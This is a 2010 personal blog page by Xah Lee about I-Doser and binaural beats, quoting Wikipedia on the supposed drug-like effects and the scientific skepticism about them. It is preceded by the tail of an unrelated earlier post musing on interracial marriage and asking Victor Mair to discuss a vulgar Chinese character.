If for example, every white american have a chinese wife, or every yellow men have blonde girlfriends, then half of the hatred in the world would disappear. Your ideology, became my wife's ideology; my culture, became your pride. In a few generations, the world become as one.

Dear professor Victor Mair, in your next installment, can you give us your philosophization on the word 肏? We'd be interested in what you have to say. I think it would be spectacular.

Was this page useful? If so, please do donate $3, thank you donors!

Binaural Tone, I-Doser, Made Me Crazy

Perm url with updates: http://xahlee.org/Periodic_dosage_dir/binaural_tone_i-doser.html

Binaural Tone, I-Doser, Made Me Crazy

Xah Recommends:
Amazon Kindle. Read books under the sun. Review

Xah Lee, 2010-10-17

There's a craze that goes by the name of I-Doser. Basically, it's a website, you go and download sound files. (about $3 each) The sound is supposed to have the same effect as drugs, such as opium, ecstasy. Apparently, lots of kids are doing it. Here's a quote from Wikipedia:

I-Doser is an application for the playback of proprietary audio content. This separately purchasable content has attracted media attention as it aims to simulate specific mental states through the use of binaural beat technology, and many of the simulations available take their names from prohibited recreational drugs.[1] The I-Doser player has been downloaded more than a million times[2] and is based on the audio technology of a freeware binaural beat generator, SBaGen.[3]

Research into the neurological technology behind I-Doser is sparse. Peer-reviewed studies exist suggesting that some specific binaural beat mixes can affect aspects of mental performance and mood[4][5], act as analgesic supplements[6] or affect perceptions,[7] but there have been no formal studies of any effects of mixes particular to I-Doser. Researchers from Oregon Health and Science University interviewed about I-Doser have expressed skepticism over its scientific basis, citing a four person controlled study of binaural beats that demonstrated no evidence of brainwave entrainment.[8] Other universities have also stated skepticism.[9]

lol. Note that i-doser.com is a website that sells such sounds. It costs some $3 to $4 a pop. Apparently, the site owner is getting very rich.

But, what's binaural beat? Apparently, if you play two pure tones, one for each ear, and if their frequencies are close, then the brain will perceive a “beat”. That is, a sort of wavering sound beating at the rate of 10 or 20 times a second.

Here's some Wikipedia quote on Binaural beat:

Binaural beats or binaural tones are auditory processing artifacts, or apparent sounds, the perception of which arises in the brain for specific physical stimuli. This effect was discovered in 1839 by Heinrich Wilhelm Dove, and earned greater public awareness in the late 20th century based on claims that binaural beats could help induce relaxation, creativity and other desirable mental states.[citation needed]

The brain produces a phenomenon resulting in low-frequency pulsations in the loudness and sound localization of a perceived sound when two tones at slightly different frequencies are presented separately, one to each of a subject's ears, using stereo headphones. A beating tone will be perceived, as if the two tones mixed naturally, out of the brain. The frequency of the tones must be below about 1,000 to 1,500 hertz for the beating to be heard. The difference between the two frequencies must be small (below about 30 Hz) for the effect to occur; otherwise, the two tones will be heard separately and no beat will be perceived.

Binaural beats are of interest to neurophysiologists investigating the sense of hearing. Binaural beats reportedly influence the brain in more subtle ways through the entrainment of brainwaves[1][2] and can be used to reduce anxiety[3] and provide other health benefits such as control over pain.[4]

Here's a sample binaural tone. It's 30 minutes long. It does effect you in some weird way, actually.

Audio Source

But note here any music changes your mental states, that's why we listen to music, for relaxation, for heightened mental state, for pleasure, and often music make us cry. (some classical piano pieces by Bach or Liszt does that to me easily. (See: Classical Keyboard Music))

Was this page useful? If so, please do donate $3, thank you donors!